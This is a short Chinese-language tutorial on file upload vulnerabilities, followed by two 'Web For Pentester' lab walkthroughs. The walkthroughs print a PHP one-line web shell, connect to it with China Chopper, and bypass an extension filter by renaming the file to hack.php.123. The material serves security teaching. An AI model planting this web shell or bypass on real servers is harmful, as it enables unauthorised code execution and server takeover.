文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,并通過此腳本文件獲得了執行服務器端命令的能力。
文件上傳導致的常見安全問題:
上傳文件是Web腳本語言,服務器的Web容器解釋并執行了用戶上傳的腳本,導致代碼執行;
上傳文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為(其他通過類似方式控制策略文件的情況類似);
上傳文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執行;
上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執行,被用于釣魚和欺詐;
完成這個攻擊需要的條件:
首先,上傳的文件要能被Web容器解釋執行,所以文件上傳后所在目錄要是Web容器所覆蓋到的路徑;
其次,用戶能夠從Web上訪問這個文件。如果文件上傳了,但用戶無法通過Web訪問,或無法通過Web容器解釋這個腳本,那么不能稱之為漏洞;
最后,用戶上傳的文件若被安全檢查、格式化、圖片壓縮等功能改變了內容,可能導致攻擊不成功;
?
Web For Pentester -- File Include
Example 1
上傳php文件<?php echo phpinfo();?>輸出關于 PHP 配置的信息
點擊here即可查看配置信息
找到上傳的文件路徑,上傳一句話木馬<?php @eval($_POST['chopper']);?>
打開中國菜刀,連接成功
?
Example 2
上傳文件
服務器的對文件的判斷
- 服務端MIME 類型檢測(檢測Content-Type 內容)
- 服務端目錄路徑檢測(檢測跟path 參數相關的內容)、
- 服務端文件擴展名檢測(檢測跟文件extension 相關的內容)
- 服務端文件內容檢測(檢測內容是否合法或含有惡意代碼)
BP抓包查看
不能上傳php文件,修改后綴,將一句話木馬改成hack.php.123(瀏覽器遇到不能識別的文件名后綴跳過)
上傳文件,連接木馬即可。
?
?